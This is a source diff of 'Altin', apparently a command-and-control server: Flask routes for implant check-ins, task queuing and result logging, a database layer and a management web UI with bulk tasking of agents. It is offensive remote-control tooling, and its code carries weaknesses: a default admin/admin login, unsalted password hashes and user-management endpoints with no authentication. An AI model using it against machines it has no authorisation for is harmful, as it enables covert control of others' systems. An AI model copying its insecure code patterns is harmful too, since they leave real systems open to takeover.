agent.update_last_checkin(agent_id)
|
||||
|
||||
if agent_id == None:
|
||||
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_ERROR) + ', "message": "something went wrong"}'))
|
||||
|
||||
active_tasks = agent.get_active_tasks(agent_id)
|
||||
|
||||
# If there aren't any tasks, just continue
|
||||
if len(active_tasks) == 0:
|
||||
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_CONTINUE) + '}'))
|
||||
|
||||
# Mark the tasks sent
|
||||
for task in active_tasks:
|
||||
agent.mark_task_sent(task['task_id'])
|
||||
|
||||
return(xor_data(agent_key, '{"status": ' + json.dumps(agent.STATUS_TASKS) + ', "tasks": ' + json.dumps(active_tasks) + '}'))
|
||||
|
||||
elif data['action'] == agent.ACTION_TASK_RESULT:
|
||||
if not agent.is_agent(data['implant_id'], data['ip']):
|
||||
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_REGISTER) + '}'))
|
||||
|
||||
agent_id = agent.get_agent_id(data['implant_id'], data['ip'])
|
||||
agent.update_last_checkin(agent_id)
|
||||
|
||||
if 'result' not in data:
|
||||
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_INVALID) + ', "message": "task result action request must include a `result` key"}'))
|
||||
|
||||
# Validate the result
|
||||
if 'task_id' not in data['result'] or 'result' not in data['result']:
|
||||
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_INVALID) + ', "message": "task result must contain a `task_id` and `result` key"}'))
|
||||
|
||||
# Log the result to the database
|
||||
agent.log_task_result(data['result']['task_id'], data['result']['result'])
|
||||
|
||||
return(xor_data(agent_key, '{"status": ' + str(agent.STATUS_CONTINUE) + '}'))
|
||||
|
||||
else:
|
||||
return(xor_data(agent_key, f'{"status": {agent.STATUS_INVALID}, "message": "invalid action"}'))
|
||||
45
server/altin/config.py
Normal file
45
server/altin/config.py
Normal file
@ -0,0 +1,45 @@
|
||||
import os
|
||||
from dotenv import load_dotenv
|
||||
|
||||
config = {}
|
||||
|
||||
def load_config() -> None:
|
||||
global config
|
||||
|
||||
load_dotenv()
|
||||
|
||||
try:
|
||||
config = {
|
||||
'port': int(os.environ.get('ALTIN_PORT', default=3030)),
|
||||
'database': str(os.environ.get('ALTIN_DATABASE', default='sqlite')),
|
||||
'db_path': str(os.environ.get('ALTIN_SQLITE_PATH', default='altin.db')),
|
||||
'db_db': str(os.environ.get('ALTIN_PGSQL_DATABASE', default=None)),
|
||||
'db_host': str(os.environ.get('ALTIN_PGSQL_HOST', default=None)),
|
||||
'db_port': str(os.environ.get('ALTIN_PGSQL_PORT', default=None)),
|
||||
'db_user': str(os.environ.get('ALTIN_PGSQL_USER', default=None)),
|
||||
'db_password': str(os.environ.get('ALTIN_PGSQL_PASSWORD', default=None)),
|
||||
'jwt_secret': str(os.environ.get('ALTIN_JWT_SECRET', default=None))
|
||||
}
|
||||
|
||||
except Exception as e:
|
||||
print(f'Failed to load config: {e}')
|
||||
quit(1)
|
||||
|
||||
def validate_config() -> None:
|
||||
global config
|
||||
|
||||
valid = True
|
||||
message = ''
|
||||
|
||||
if config['database'] not in ['sqlite', 'postgres']:
|
||||
message += 'ALTIN_DATABASE must be `sqlite` or `postgres`\n'
|
||||
valid = False
|
||||
|
||||
if not config['jwt_secret']:
|
||||
message += 'ALTIN_JWT_SECRET must be set\n'
|
||||
valid = False
|
||||
|
||||
if not valid:
|
||||
print('Invalid config!')
|
||||
print(message)
|
||||
quit(1)
|
||||
123
server/altin/database.py
Normal file
123
server/altin/database.py
Normal file
@ -0,0 +1,123 @@
|
||||
import peewee
|
||||
import uuid
|
||||
import json
|
||||
from datetime import datetime
|
||||
import hashlib
|
||||
|
||||
from .config import config
|
||||
|
||||
if config['database'] == 'sqlite':
|
||||
db = peewee.SqliteDatabase(config['db_path'], pragmas={'journal_mode': 'wal'})
|
||||
|
||||
if config['database'] == 'postgres':
|
||||
db = peewee.PostgresqlDatabase(
|
||||
config['db_db'],
|
||||
host=config['db_host'],
|
||||
port=int(config['db_port']) if config['db_port'] not in (None, 'None') else 5432,
|
||||
user=config['db_user'],
|
||||
password=config['db_password']
|
||||
)
|
||||
|
||||
class Agent(peewee.Model):
|
||||
id = peewee.CharField(null=False, unique=True, default=uuid.uuid4)
|
||||
implant_id = peewee.CharField(null=False)
|
||||
ip = peewee.CharField(null=False)
|
||||
os = peewee.CharField(null=False)
|
||||
commands = peewee.TextField(null=False)
|
||||
tags = peewee.TextField(null=False, default='[]')
|
||||
last_checkin = peewee.DateTimeField(null=False, default=datetime.now)
|
||||
|
||||
def serialize(self):
|
||||
return({
|
||||
'id': self.id,
|
||||
'implant_id': self.implant_id,
|
||||
'ip': self.ip,
|
||||
'os': self.os,
|
||||
'commands': json.loads(self.commands),
|
||||
'tags': json.loads(self.tags),
|
||||
'last_checkin': self.last_checkin
|
||||
})
|
||||
|
||||
class Meta:
|
||||
database = db
|
||||
db_table = 'agents'
|
||||
|
||||
class Task(peewee.Model):
|
||||
id = peewee.CharField(null=False, unique=True, default=uuid.uuid4)
|
||||
agent = peewee.ForeignKeyField(Agent, 'id', null=False, on_delete='CASCADE')
|
||||
task = peewee.CharField(null=False)
|
||||
args = peewee.TextField(null=False, default='[]')
|
||||
sent = peewee.BooleanField(null=False, default=False)
|
||||
completed = peewee.BooleanField(null=False, default=False)
|
||||
|
||||
def serialize(self):
|
||||
return({
|
||||
'id': self.id,
|
||||
'agent': str(self.agent),
|
||||
'task': self.task,
|
||||
'args': json.loads(self.args),
|
||||
'sent': self.sent,
|
||||
'completed': self.completed
|
||||
})
|
||||
|
||||
class Meta:
|
||||
database = db
|
||||
db_table = 'tasks'
|
||||
|
||||
class TaskResult(peewee.Model):
|
||||
id = peewee.CharField(null=False, unique=True, default=uuid.uuid4)
|
||||
task = peewee.ForeignKeyField(Task, 'id', null=False, on_delete='CASCADE')
|
||||
result = peewee.TextField(null=True)
|
||||
timestamp = peewee.DateTimeField(null=False, default=datetime.now)
|
||||
|
||||
def serialize(self):
|
||||
return({
|
||||
'id': self.id,
|
||||
'task': str(self.task),
|
||||
'result': self.result,
|
||||
'timestamp': str(self.timestamp)
|
||||
})
|
||||
|
||||
class Meta:
|
||||
database = db
|
||||
db_table = 'task_results'
|
||||
|
||||
class Key(peewee.Model):
|
||||
id = peewee.CharField(null=False, unique=True, default=uuid.uuid4)
|
||||
name = peewee.CharField(null=False)
|
||||
key = peewee.CharField(null=False)
|
||||
|
||||
def serialize(self):
|
||||
return({
|
||||
'id': self.id,
|
||||
'name': self.name,
|
||||
'key': self.key
|
||||
})
|
||||
|
||||
class Meta:
|
||||
database = db
|
||||
db_table = 'keys'
|
||||
|
||||
class User(peewee.Model):
|
||||
id = peewee.CharField(null=False, unique=True, default=uuid.uuid4)
|
||||
username = peewee.CharField(null=False)
|
||||
password = peewee.CharField(null=False)
|
||||
admin = peewee.BooleanField(null=False, default=False)
|
||||
|
||||
def serialize(self):
|
||||
return({
|
||||
'id': self.id,
|
||||
'username': self.username,
|
||||
'admin': self.admin
|
||||
})
|
||||
|
||||
class Meta:
|
||||
database = db
|
||||
db_table = 'user'
|
||||
|
||||
def init_db() -> None:
|
||||
db.create_tables([Agent, Task, TaskResult, Key, User])
|
||||
|
||||
# Default user check
|
||||
if not User.select().where(User.username == 'admin').exists():
|
||||
User.create(username='admin', password=hashlib.sha512('admin'.encode('utf-8')).hexdigest(), admin=1)
|
||||
314
server/altin/management_routes.py
Normal file
314
server/altin/management_routes.py
Normal file
@ -0,0 +1,314 @@
|
||||
from flask import Blueprint, request, jsonify
|
||||
import json
|
||||
import hashlib
|
||||
import jwt
|
||||
from datetime import datetime, timedelta
|
||||
|
||||
from .config import config
|
||||
from .database import Agent, Task, TaskResult, Key, User
|
||||
from .auth import login_required
|
||||
|
||||
management_routes = Blueprint('management_routes', __name__)
|
||||
|
||||
# Login
|
||||
@management_routes.route('/api/login', methods=['POST'])
|
||||
def login():
|
||||
if 'username' not in request.json or 'password' not in request.json:
|
||||
return(jsonify({'message': 'Invalid request'}), 400)
|
||||
|
||||
user = User.select().where((User.username == request.json['username']) & (User.password == hashlib.sha512(request.json['password'].encode('utf-8')).hexdigest()))
|
||||
|
||||
if not user.exists():
|
||||
return(jsonify({'message': 'Invalid username or password'}), 401)
|
||||
|
||||
now = datetime.now()
|
||||
|
||||
token = jwt.encode({'user_id': user[0].id, 'admin': user[0].admin, 'iat': now, 'exp': now+timedelta(days=1)}, config['jwt_secret'], algorithm='HS256')
|
||||
|
||||
return(jsonify({'message': 'Success', 'token': token}), 200)
|
||||
|
||||
# Agents
|
||||
@management_routes.route('/api/agents', methods=['GET'])
|
||||
@login_required
|
||||
def get_agents():
|
||||
agents = []
|
||||
|
||||
query = Agent.select()
|
||||
|
||||
if 'ip' in request.args:
|
||||
query = query.where(Agent.ip == request.args['ip'])
|
||||
|
||||
if 'implant' in request.args:
|
||||
query = query.where(Agent.implant_id == request.args['implant'])
|
||||
|
||||
if 'os' in request.args:
|
||||
query = query.where(Agent.os == request.args['os'])
|
||||
|
||||
for agent in Agent.select():
|
||||
agents.append(agent.serialize())
|
||||
|
||||
return(jsonify({'agents': agents}), 200)
|
||||
|
||||
@management_routes.route('/api/agents/<agent_id>', methods=['GET'])
|
||||
@login_required
|
||||
def get_agent(agent_id: str):
|
||||
agent = Agent.select().where(Agent.id == str(agent_id)).first()
|
||||
|
||||
if not agent:
|
||||
return(jsonify({'message': 'No such agent'}), 404)
|
||||
|
||||
return(jsonify(agent.serialize()), 200)
|
||||
|
||||
@management_routes.route('/api/agents/<agent_id>', methods=['DELETE'])
|
||||
@login_required
|
||||
def delete_agent(agent_id: str):
|
||||
agent = Agent.select().where(Agent.id == str(agent_id)).first()
|
||||
|
||||
if not agent:
|
||||
return(jsonify({'message': 'No such agent'}), 404)
|
||||
|
||||
for task in Task.select().where(Task.agent_id == agent.id):
|
||||
TaskResult.delete().where(TaskResult.task_id == task.id).execute()
|
||||
task.delete().execute()
|
||||
|
||||
agent.delete().execute()
|
||||
|
||||
|
||||
return(jsonify({'message': 'The agent was deleted'}), 204)
|
||||
|
||||
@management_routes.route('/api/agents/<agent_id>/tags', methods=['POST'])
|
||||
@login_required
|
||||
def tag_agent(agent_id: str):
|
||||
agent = Agent.select().where(Agent.id == str(agent_id)).first()
|
||||
|
||||
if not agent:
|
||||
return(jsonify({'message': 'No such agent'}), 404)
|
||||
|
||||
if 'tags' not in request.json:
|
||||
return(jsonify({'message': 'Invalid request'}), 400)
|
||||
|
||||
tags = request.json['tags']
|
||||
|
||||
if type(tags) != list:
|
||||
return(jsonify({'message': 'Invalid request'}), 400)
|
||||
|
||||
agent_tags = json.loads(agent.tags)
|
||||
|
||||
for tag in tags:
|
||||
if tag not in agent_tags:
|
||||
agent_tags.append(tag)
|
||||
|
||||
agent.update(tags=json.dumps(agent_tags)).where(Agent.id == str(agent_id)).execute()
|
||||
|
||||
return(jsonify({'message': 'Agent updated'}), 201)
|
||||
|
||||
@management_routes.route('/api/agents/<agent_id>/tags', methods=['DELETE'])
|
||||
@login_required
|
||||
def untag_agent(agent_id: str):
|
||||
agent = Agent.select().where(Agent.id == str(agent_id)).first()
|
||||
|
||||
if not agent:
|
||||
return(jsonify({'message': 'No such agent'}), 404)
|
||||
|
||||
if 'tags' not in request.json:
|
||||
return(jsonify({'message': 'Invalid request'}), 400)
|
||||
|
||||
tags = request.json['tags']
|
||||
|
||||
if type(tags) != list:
|
||||
return(jsonify({'message': 'Invalid request'}), 400)
|
||||
|
||||
agent_tags = json.loads(agent.tags)
|
||||
|
||||
|
||||
|
||||
agent.update(tags=json.dumps(agent_tags)).where(Agent.id == str(agent_id)).execute()
|
||||
|
||||
return(jsonify({'message': 'Agent updated'}), 201)
|
||||
|
||||
# Tasks
|
||||
@management_routes.route('/api/tasks', methods=['GET'])
|
||||
@login_required
|
||||
def get_tasks():
|
||||
tasks = []
|
||||
|
||||
query = Task.select()
|
||||
|
||||
if 'id' in request.args:
|
||||
query = query.where(Task.agent_id == request.args['id'])
|
||||
|
||||
if 'agent' in request.args:
|
||||
query = query.where(Task.agent_id == request.args['agent'])
|
||||
|
||||
if 'sent' in request.args:
|
||||
if request.args['sent'].lower() == 'true':
|
||||
query = query.where(Task.sent == True)
|
||||
elif request.args['sent'].lower() == 'false':
|
||||
query = query.where(Task.sent == False)
|
||||
else:
|
||||
return(jsonify({'message': 'Invalid request'}), 400)
|
||||
|
||||
if 'completed' in request.args:
|
||||
if request.args['completed'].lower() == 'true':
|
||||
query = query.where(Task.completed == True)
|
||||
elif request.args['completed'].lower() == 'false':
|
||||
query = query.where(Task.completed == False)
|
||||
else:
|
||||
return(jsonify({'message': 'Invalid request'}), 400)
|
||||
|
||||
for task in query:
|
||||
tasks.append(task.serialize())
|
||||
|
||||
return(jsonify({'tasks': tasks}), 200)
|
||||
|
||||
# Task results
|
||||
@management_routes.route('/api/task-results', methods=['GET'])
|
||||
@login_required
|
||||
def get_taskresults():
|
||||
results = []
|
||||
|
||||
query = TaskResult.select()
|
||||
|
||||
if 'id' in request.args:
|
||||
query = query.where(TaskResult.id == request.args['id'])
|
||||
|
||||
if 'task_id' in request.args:
|
||||
query = query.where(TaskResult.task == request.args['agent'])
|
||||
|
||||
for result in query:
|
||||
results.append(result.serialize())
|
||||
|
||||
return(jsonify({'results': results}), 200)
|
||||
|
||||
@management_routes.route('/api/tasks', methods=['POST'])
|
||||
@login_required
|
||||
def create_task():
|
||||
if 'agent_id' not in request.json or 'command' not in request.json or 'args' not in request.json:
|
||||
return(jsonify({'message': 'Invalid request'}), 400)
|
||||
|
||||
query = Agent.select().where(Agent.id==request.json['agent_id'])
|
||||
|
||||
|
||||
if len(query) == 0:
|
||||
return(jsonify({'message': 'No such agent'}), 404)
|
||||
|
||||
commands_json = json.loads(query[0].commands)
|
||||
|
||||
for command in commands_json:
|
||||
if command['command'] == request.json['command']:
|
||||
user_args = request.json['args']
|
||||
required_args = 0
|
||||
|
||||
for arg in command['args']:
|
||||
if arg['required'] == True:
|
||||
required_args += 1
|
||||
|
||||
if len(user_args) != required_args:
|
||||
return(jsonify({'message': 'Invalid command arguments'}), 404)
|
||||
|
||||
Task.create(agent=request.json['agent_id'], task=request.json['command'], args=json.dumps(user_args))
|
||||
|
||||
return(jsonify({'message': 'Task sent'}), 201)
|
||||
|
||||
return(jsonify({'message': 'Invalid task'}), 400)
|
||||
|
||||
# Keys
|
||||
@management_routes.route('/api/keys', methods=['GET'])
|
||||
@login_required
|
||||
def get_keys():
|
||||
keys = []
|
||||
for key in Key.select():
|
||||
keys.append(key.serialize())
|
||||
|
||||
return(jsonify({'keys': keys}), 200)
|
||||
|
||||
@management_routes.route('/api/keys', methods=['POST'])
|
||||
@login_required
|
||||
def create_key():
|
||||
if 'key' not in request.json or 'name' not in request.json:
|
||||
return(jsonify({'message': 'Invalid request'}), 400)
|
||||
|
||||
name = request.json['name']
|
||||
key = request.json['key']
|
||||
|
||||
if Key.select().where(Key.name==name).exists():
|
||||
return(jsonify({'message': 'A key with that name already exists'}))
|
||||
|
||||
Key.create(name=name, key=key)
|
||||
|
||||
return(jsonify({'message': 'The key was created'}), 201)
|
||||
|
||||
@management_routes.route('/api/keys', methods=['DELETE'])
|
||||
@login_required
|
||||
def delete_key():
|
||||
if 'id' not in request.json:
|
||||
return(jsonify({'message': 'Invalid request'}), 400)
|
||||
|
||||
key_id = request.json['id']
|
||||
|
||||
if not Key.select().where(Key.id==key_id).exists():
|
||||
return(jsonify({'message': 'No such key'}), 404)
|
||||
|
||||
Key.delete().where(Key.id == key_id).execute()
|
||||
|
||||
return(jsonify({'message': 'The key was deleted'}), 204)
|
||||
|
||||
# Users
|
||||
@management_routes.route('/api/users', methods=['GET'])
|
||||
def get_users():
|
||||
users = []
|
||||
for user in User.select():
|
||||
users.append(user.serialize())
|
||||
|
||||
return(jsonify({'users': users}), 200)
|
||||
|
||||
@management_routes.route('/api/users', methods=['POST'])
|
||||
def create_user():
|
||||
if 'username' not in request.json or 'password' not in request.json or 'admin' not in request.json:
|
||||
return(jsonify({'message': 'Invalid request'}), 400)
|
||||
|
||||
username = request.json['username']
|
||||
password = request.json['password']
|
||||
admin = request.json['admin']
|
||||
|
||||
if admin not in [True, False]:
|
||||
return(jsonify({'message': 'Invalid request'}), 400)
|
||||
|
||||
if User.select().where(User.username == username).exists():
|
||||
return(jsonify({'message': 'A user with that username already exists'}), 403)
|
||||
|
||||
User.create(username=username, password=hashlib.sha512(password.encode('utf-8')).hexdigest(), admin=admin)
|
||||
|
||||
return(jsonify({'message': 'Success'}), 200)
|
||||
|
||||
@management_routes.route('/api/users', methods=['PATCH'])
|
||||
def edit_user():
|
||||
if 'id' not in request.json:
|
||||
return(jsonify({'message': 'Invalid request'}), 400)
|
||||
|
||||
if not User.select().where(User.id == request.json['id']).exists():
|
||||
return(jsonify({'message': 'No such user'}), 404)
|
||||
|
||||
if 'username' in request.json:
|
||||
User.update(username=request.json['username']).where(User.id==request.json['id']).execute()
|
||||
elif 'password' in request.json:
|
||||
User.update(password=request.json['password']).where(User.id==request.json['id']).execute()
|
||||
elif 'admin' in request.json:
|
||||
if admin not in [True, False]:
|
||||
return(jsonify({'message': 'Invalid request'}), 400)
|
||||
|
||||
User.update(admin=request.json['admin']).where(User.id==request.json['id']).execute()
|
||||
|
||||
return(jsonify({'message': 'User updated'}), 200)
|
||||
|
||||
@management_routes.route('/api/users', methods=['DELETE'])
|
||||
def delete_user():
|
||||
if 'id' not in request.json:
|
||||
return(jsonify({'message': 'Invalid request'}), 400)
|
||||
|
||||
if not User.select().where(User.id == request.json['id']).exists():
|
||||
return(jsonify({'message': 'No such user'}), 404)
|
||||
|
||||
User.delete().where(User.id == request.json['id']).execute()
|
||||
|
||||
return(jsonify({'message': 'User deleted'}), 204)
|
||||
3
server/debug_server.py
Normal file
3
server/debug_server.py
Normal file
@ -0,0 +1,3 @@
|
||||
import altin
|
||||
|
||||
altin.app.run(debug=True, port=altin.config['port'])
|
||||
6
server/requirements.txt
Normal file
6
server/requirements.txt
Normal file
@ -0,0 +1,6 @@
|
||||
Flask==2.3.2
|
||||
flask-cors==4.0.0
|
||||
PyJWT==2.8.0
|
||||
peewee==3.16.3
|
||||
psycopg2-binary==2.9.13
|
||||
python-dotenv==1.0.0
|
||||
9
webui/Dockerfile
Normal file
9
webui/Dockerfile
Normal file
@ -0,0 +1,9 @@
|
||||
FROM nginx:alpine
|
||||
|
||||
RUN rm -rf /usr/share/nginx/html/*
|
||||
|
||||
COPY --exclude=Dockerfile . /usr/share/nginx/html
|
||||
|
||||
EXPOSE 80
|
||||
|
||||
CMD ["nginx", "-g", "daemon off;"]
|
||||
250
webui/agents.html
Normal file
250
webui/agents.html
Normal file
@ -0,0 +1,250 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Altin | Agents</title>
|
||||
|
||||
<link rel="stylesheet" href="/assets/css/main.css">
|
||||
<link rel="stylesheet" href="/assets/css/home.css">
|
||||
<script defer src="/assets/js/agents.js"></script>
|
||||
</head>
|
||||
<body class="app-page">
|
||||
<div class="app-layout">
|
||||
<aside class="sidebar">
|
||||
<div class="brand-block">
|
||||
<div class="brand-name">Altin</div>
|
||||
<div class="brand-subtitle">Management console</div>
|
||||
</div>
|
||||
|
||||
<div class="sidebar-section">
|
||||
<nav class="nav-list" aria-label="Primary">
|
||||
<a class="nav-item" href="/index.html">
|
||||
<span>Overview</span>
|
||||
</a>
|
||||
<a class="nav-item is-active" href="/agents.html">
|
||||
<span>Agents</span>
|
||||
</a>
|
||||
<a class="nav-item" href="/keys.html">
|
||||
<span>Keys</span>
|
||||
</a>
|
||||
<a class="nav-item" href="/users.html">
|
||||
<span>Users</span>
|
||||
</a>
|
||||
</nav>
|
||||
</div>
|
||||
|
||||
<div class="sidebar-footer">
|
||||
<div class="sidebar-info">
|
||||
<strong>Session</strong><br>
|
||||
<span id="serverChip">loading…</span>
|
||||
</div>
|
||||
<button class="button-secondary" id="themeToggle" type="button">Theme</button>
|
||||
<button class="button" id="logoutButton" type="button">Logout</button>
|
||||
</div>
|
||||
</aside>
|
||||
|
||||
<main class="main-shell">
|
||||
<header class="page-header page-header-spaced">
|
||||
<div>
|
||||
<div class="page-title">Agents</div>
|
||||
<div class="page-error" id="pageError" role="status" aria-live="polite"></div>
|
||||
</div>
|
||||
<div class="topbar-actions">
|
||||
<!-- Matches keys.html and users.html: a .button-secondary Refresh
|
||||
first in .topbar-actions. Selection and bulk tasking stay in
|
||||
the "Selected agents" bar below. -->
|
||||
<button class="button-secondary" id="refreshAgentsButton" type="button">Refresh</button>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<section class="page-section">
|
||||
<section class="agents-toolbar panel">
|
||||
<div class="filter-grid">
|
||||
<div>
|
||||
<label class="field-label" for="agentSearch">Search</label>
|
||||
<input class="input" id="agentSearch" type="search" placeholder="ID, IP, or Tag">
|
||||
</div>
|
||||
<div>
|
||||
<label class="field-label" for="implantFilter">Implant type</label>
|
||||
<select class="select" id="implantFilter">
|
||||
<option value="all">All implant types</option>
|
||||
</select>
|
||||
</div>
|
||||
<div>
|
||||
<label class="field-label" for="osFilter">OS</label>
|
||||
<select class="select" id="osFilter">
|
||||
<option value="all">All operating systems</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="selection-bar">
|
||||
<div>
|
||||
<span class="selection-label">Selected agents</span>
|
||||
<div class="selection-count" id="selectionCount">0 selected</div>
|
||||
</div>
|
||||
<div class="selection-actions">
|
||||
<button class="button-secondary" id="selectFilteredButton" type="button">Select filtered</button>
|
||||
<button class="button-secondary" id="clearSelectionButton" type="button">Clear</button>
|
||||
<button class="button" id="openBulkTaskButton" type="button">Bulk tasking</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="selection-chips" id="selectionChips"></div>
|
||||
</section>
|
||||
|
||||
<section class="panel agents-table-panel">
|
||||
<div class="table-wrap">
|
||||
<table class="data-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th class="table-check"><span class="sr-only">Select</span></th>
|
||||
<th>IP</th>
|
||||
<th>Implant</th>
|
||||
<th>OS</th>
|
||||
<th>Tags</th>
|
||||
<th>Last check-in</th>
|
||||
<th>Commands</th>
|
||||
<th class="table-actions-cell">Actions</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="agentsTableBody"></tbody>
|
||||
</table>
|
||||
</div>
|
||||
</section>
|
||||
</section>
|
||||
</main>
|
||||
</div>
|
||||
|
||||
<div class="modal-backdrop hidden" id="interactModal" aria-hidden="true">
|
||||
<div class="modal-card card modal-card-wide" role="dialog" aria-modal="true" aria-labelledby="interactTitle">
|
||||
<div class="modal-header">
|
||||
<div class="modal-title-row">
|
||||
<h2 id="interactTitle">Interact</h2>
|
||||
<p id="interactSubtitle">Loading agent…</p>
|
||||
</div>
|
||||
<button class="icon-button" id="closeInteractButton" type="button">✕</button>
|
||||
</div>
|
||||
|
||||
<div class="console-status-bar">
|
||||
<span class="console-agent-chip" id="interactAgentChip">—</span>
|
||||
<span class="console-hint" id="interactHint">Pick a command and send it to this agent.</span>
|
||||
</div>
|
||||
|
||||
<div class="console-log" id="interactLog" role="log" aria-live="polite" aria-label="Command output"></div>
|
||||
|
||||
<div class="console-composer">
|
||||
<div class="console-command-row">
|
||||
<div>
|
||||
<label class="field-label" for="interactCommand">Command</label>
|
||||
<select class="select" id="interactCommand"></select>
|
||||
</div>
|
||||
<div class="console-command-help" id="interactCommandHelp"></div>
|
||||
</div>
|
||||
<div id="interactArgsContainer"></div>
|
||||
</div>
|
||||
|
||||
<div class="modal-footer">
|
||||
<div class="modal-message" id="interactMessage"></div>
|
||||
<div class="modal-actions-inline">
|
||||
<button class="button-secondary" id="clearInteractButton" type="button">Clear console</button>
|
||||
<button class="button-secondary" id="cancelInteractButton" type="button">Close</button>
|
||||
<button class="button" id="sendInteractButton" type="button">Send</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="modal-backdrop hidden" id="historyModal" aria-hidden="true">
|
||||
<div class="modal-card card modal-card-wide" role="dialog" aria-modal="true" aria-labelledby="historyTitle">
|
||||
<div class="modal-header">
|
||||
<div class="modal-title-row">
|
||||
<h2 id="historyTitle">Command history</h2>
|
||||
<p id="historySubtitle">Loading…</p>
|
||||
</div>
|
||||
<button class="icon-button" id="closeHistoryButton" type="button">✕</button>
|
||||
</div>
|
||||
|
||||
<div class="history-toolbar">
|
||||
<div class="history-search">
|
||||
<label class="field-label" for="historySearch">Filter</label>
|
||||
<input class="input" id="historySearch" type="search" placeholder="Command name or argument" autocomplete="off">
|
||||
</div>
|
||||
<div class="history-summary" id="historySummary" role="status" aria-live="polite">—</div>
|
||||
</div>
|
||||
|
||||
<div class="history-list" id="historyList"></div>
|
||||
|
||||
<div class="modal-footer">
|
||||
<div class="modal-message" id="historyMessage"></div>
|
||||
<div class="modal-actions-inline">
|
||||
<button class="button-secondary" id="refreshHistoryButton" type="button">Refresh</button>
|
||||
<button class="button" id="doneHistoryButton" type="button">Done</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="modal-backdrop hidden" id="bulkTaskModal" aria-hidden="true">
|
||||
<div class="modal-card card" role="dialog" aria-modal="true" aria-labelledby="bulkTaskTitle">
|
||||
<div class="modal-header">
|
||||
<div>
|
||||
<h2 id="bulkTaskTitle">Bulk task</h2>
|
||||
<p>Review the targets, then pick one command to send to all of them.</p>
|
||||
</div>
|
||||
<button class="icon-button" id="closeBulkTaskButton" type="button">✕</button>
|
||||
</div>
|
||||
|
||||
<div class="modal-layout">
|
||||
<section class="modal-panel">
|
||||
<span class="selection-label">Selected agents</span>
|
||||
<div class="selection-count" id="bulkTargetCount">0 selected</div>
|
||||
<div class="selection-chips compact" id="bulkTargetChips"></div>
|
||||
</section>
|
||||
|
||||
<section class="modal-panel modal-command-panel">
|
||||
<div>
|
||||
<label class="field-label" for="bulkCommand">Command</label>
|
||||
<select class="select" id="bulkCommand"></select>
|
||||
</div>
|
||||
<div id="bulkArgsContainer"></div>
|
||||
</section>
|
||||
</div>
|
||||
|
||||
<div class="modal-footer">
|
||||
<div class="modal-message" id="bulkTaskMessage"></div>
|
||||
<div class="modal-actions-inline">
|
||||
<button class="button-secondary" id="cancelBulkTaskButton" type="button">Cancel</button>
|
||||
<button class="button" id="submitBulkTaskButton" type="button">Send task</button>
|
||||
<!-- Label is rewritten to "Send task to N agents" on open, from
|
||||
the table selection. The static text is the zero fallback. -->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="modal-backdrop hidden" id="deleteAgentModal" aria-hidden="true">
|
||||
<div class="modal-card card delete-card" role="dialog" aria-modal="true" aria-labelledby="deleteAgentTitle" aria-describedby="deleteWarning">
|
||||
<div class="modal-header">
|
||||
<div>
|
||||
<h2 id="deleteAgentTitle">Delete agent</h2>
|
||||
<p>This removes the management record only. It does not stop the implant.</p>
|
||||
</div>
|
||||
<button class="icon-button" id="closeDeleteAgentButton" type="button">✕</button>
|
||||
</div>
|
||||
|
||||
<div class="delete-body">
|
||||
<dl class="delete-target" id="deleteTargetDetails"></dl>
|
||||
</div>
|
||||
|
||||
<div class="modal-footer">
|
||||
<div class="modal-message" id="deleteAgentMessage"></div>
|
||||
<div class="modal-actions-inline">
|
||||
<button class="button-secondary" id="cancelDeleteAgentButton" type="button">Cancel</button>
|
||||
<button class="button button-danger" id="confirmDeleteAgentButton" type="button">Delete agent</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
1189
webui/assets/css/home.css
Normal file
1189
webui/assets/css/home.css
Normal file
File diff suppressed because it is too large
Load Diff
126
webui/assets/css/login.css
Normal file
126
webui/assets/css/login.css
Normal file
@ -0,0 +1,126 @@
|
||||
.login-page {
|
||||
min-height: 100vh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
padding: 2rem;
|
||||
}
|
||||
|
||||
.login-shell {
|
||||
width: min(100%, 520px);
|
||||
margin: 0 auto;
|
||||
display: grid;
|
||||
grid-template-columns: 1fr;
|
||||
gap: 1.5rem;
|
||||
align-items: stretch;
|
||||
}
|
||||
|
||||
.login-panel {
|
||||
border: 1px solid var(--border-main);
|
||||
background: linear-gradient(180deg, var(--overlay-subtle), transparent), var(--bg-panel);
|
||||
box-shadow: var(--shadow);
|
||||
}
|
||||
|
||||
.login-copy {
|
||||
color: var(--text-muted);
|
||||
line-height: 1.7;
|
||||
}
|
||||
|
||||
.login-copy-compact {
|
||||
margin-top: -0.25rem;
|
||||
}
|
||||
|
||||
.login-panel {
|
||||
padding: 1.5rem;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 1rem;
|
||||
border-top: 3px solid var(--border-strong);
|
||||
}
|
||||
|
||||
.login-panel-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
gap: 1rem;
|
||||
}
|
||||
|
||||
.login-card-logo {
|
||||
color: var(--accent);
|
||||
font-size: 1.9rem;
|
||||
font-weight: 800;
|
||||
letter-spacing: 0.18em;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.theme-toggle {
|
||||
min-width: 44px;
|
||||
padding-inline: 0.75rem;
|
||||
}
|
||||
|
||||
.login-form {
|
||||
display: grid;
|
||||
gap: 1rem;
|
||||
}
|
||||
|
||||
.login-saved {
|
||||
display: grid;
|
||||
gap: 0.4rem;
|
||||
}
|
